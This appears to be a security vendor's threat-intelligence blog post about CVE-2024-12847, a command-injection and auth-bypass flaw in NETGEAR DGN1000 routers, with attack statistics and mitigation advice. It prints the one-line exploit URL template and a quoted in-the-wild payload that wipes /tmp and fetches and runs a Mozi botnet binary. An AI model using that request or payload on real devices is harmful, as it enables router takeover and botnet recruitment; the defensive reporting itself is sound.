Download the latest Vulnerability & Exploitation Report

Download now

CrowdSec

VulnTracking

NETGEAR Router RCE (CVE-2024-12847): The Internet’s Most-Attacked Flaw Spent 11 Years Without a CVE Number

The CrowdSec Network has recorded 50,121 unique IP addresses attacking one flaw in NETGEAR DGN1000 routers, more than any other vulnerability we track. It carries a CVSS 9.8, it has a public exploit, and it has been attacked in the wild since at least 2017. It only got a number, CVE-2024-12847, in 2024. If your security program starts with a CVE feed, the most-attacked flaw on the internet was invisible to you for eleven years.

Key findings

  • Disclosed in 2013, exploited from 2017, numbered in 2024: Roberto Paleari published the flaw to Bugtraq in May 2013, and a working exploit reached Exploit-DB the same year. Attackers have used it in the wild since at least 2017, the year it was packaged into Metasploit. CrowdSec shipped a detection rule on June 14, 2023. The CVE identifier was assigned in 2024 and published to NVD on January 10, 2025. The number was the last thing to arrive, not the first.
  • 50,121 unique IP addresses, more than any other CVE we track: That is the population of machines our network has caught attacking this single flaw, and the most recent hit landed at seven o’clock this morning. When we wrote about it in September 2023 we counted around 9,000. More than fivefold growth in three years, against software that was already out of support.
  • Our own label for it is “Background Noise”: That is the phase we assign to continuous, opportunistic, automated scanning. It describes the traffic accurately and the risk poorly. This CVE is not quiet; it is constant, and anything constant enough stops being read as a threat and starts being read as the weather.
  • 93% of the attempts want the device, not your data: Infrastructure takeover accounts for 93% of what we observe, against 3% each for ransomware and data theft. The payloads bear that out, with the SANS Internet Storm Center documenting attempts that deliver the Mozi botnet loader and a Monero miner. Nobody is after the files on your router. They are after the router.

What is the NETGEAR DGN1000?

It is an ADSL2+ wireless modem and router that NETGEAR sold to homes and small offices, discontinued and out of support for well over a decade. When SANS looked at the affected hardware in January 2025, they put it at sixteen years and counting.

You will not find one in a data center, and our exposure data says as much: 61% of targeted organizations sit in commerce, 34% are small offices, and critical infrastructure accounts for 1%. This flaw lives at the edge of home networks, hobbyist setups, self-hosted servers, and the back rooms of small businesses.

Why it matters: A router is not a device with data worth stealing; it is the device everything else sits behind. Root on the box means whoever holds it can watch your traffic, redirect your DNS, reach the machines you assumed were safely on the inside, and rent your connection out as someone else’s attack infrastructure. You also do not need to own a NETGEAR for this to concern you: the scanning is indiscriminate, so if you expose anything to the internet, these requests are already in your logs. The only reason anyone knows how big this is, is that enough people looked at those logs and shared what they found.

How does CVE-2024-12847 work?

The router’s web interface has two problems that are survivable apart and severe together. Its embedded web server skips authentication for any URL containing currentsetting.htm, so appending that gets you past the login. And setup.cgi accepts a syscmd action that passes whatever you hand it to the system shell, as root.

Put them together, and the whole attack is a single GET request:



/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=<command>&curpath=/&currentsetting.htm=1

No credentials, no exploit chain, no skill required. Formally, this is CWE-306, missing authentication, combined with CWE-78, OS command injection, which is how a consumer broadband router ends up with a CVSS 9.8.

Real traffic looks exactly as you would expect: rm -rf /tmp/*; wget hxxp://<ip>/Mozi.m -O /tmp/netgear; sh netgear. One request in, one more recruit for the swarm.

Roberto Paleari disclosed this in May 2013, eleven years before it had a number.

Threat Landscape Analysis

CrowdSec has been detecting this since our rule went live on June 14, 2023, a year and a half before the CVE was published, and the traffic has not let up: the most recent signal arrived at 07:00 UTC today. Back in September 2023, we were seeing about a thousand attacks a day, and even then it was our single busiest scenario, ahead of Log4Shell.

The attacking infrastructure looks nothing like the campaigns we usually cover. Pakistan alone accounts for 57% of attacking IPs, followed by China at 20% and India at 7%. Where recent enterprise CVEs trace back to rented cloud hosting, this one traces back to consumer broadband in regions with a large installed base of aging ADSL equipment. The targets sit elsewhere: the United States at 30%, Germany at 20%, and France at 12%. Compromised home routers in one part of the world, hunting home routers in another. Our 2023 analysis found around 60% of these attackers went after this flaw and nothing else, the signature of a single-purpose worm rather than a scanning service working through a list.

The part worth flagging is what this says about vulnerability feeds. For eleven years, a CVE-driven security program had nothing to say about the most-attacked flaw on the internet, because the CVE did not exist. It did not exist because the affected hardware belongs to people without procurement departments, and disclosure effort follows attention. What eventually made the scale of it visible was not a vendor scan or a research lab. It was 50,121 addresses reported by the very machines they were attacking. “Background Noise” is a comfortable phrase right up to the moment yours is the box that answers.

How to protect your systems

  • Patch: NETGEAR fixed this in DGN1000 firmware 1.1.00.48, but be honest about the situation: this hardware has been out of support for well over a decade and has no business terminating an internet connection in 2026. Replace it. If you cannot yet, get the web interface off the WAN, disable remote management, and put the device behind something that still receives security updates. The VulnCheck advisory has the affected versions.
  • Preemptive blocking: Worth doing even if you have never owned a NETGEAR, because the scanning hits everyone. Put the CrowdSec WAF in front of whatever you expose. It will filter requests carrying setup.cgi and todo=syscmd, then subscribe to the CrowdSec Intelligence Blocklists to drop the addresses already known for this. Running the agent also puts your logs into the count, which matters here: this flaw is measurable at all because tens of thousands of small setups reported what came knocking.
  • Stay proactive: For live monitoring of how this CVE evolves, follow the CrowdSec Live Exploit Tracker for CVE-2024-12847.

Sharing insights and taking swift action can collectively reduce the impact of these threats. This is your call to action for real-time threat intelligence and collaborative cybersecurity.

Want to stay ahead of the latest cyber threats? Get our weekly Threat Alert Newsletter delivered straight to your inbox, along with critical threat updates and trending cybersecurity insights. 📩 Sign up now for exclusive access

If you’re already subscribed, feel free to like and share this post to help your network stay informed about current threats.

WRITTEN BY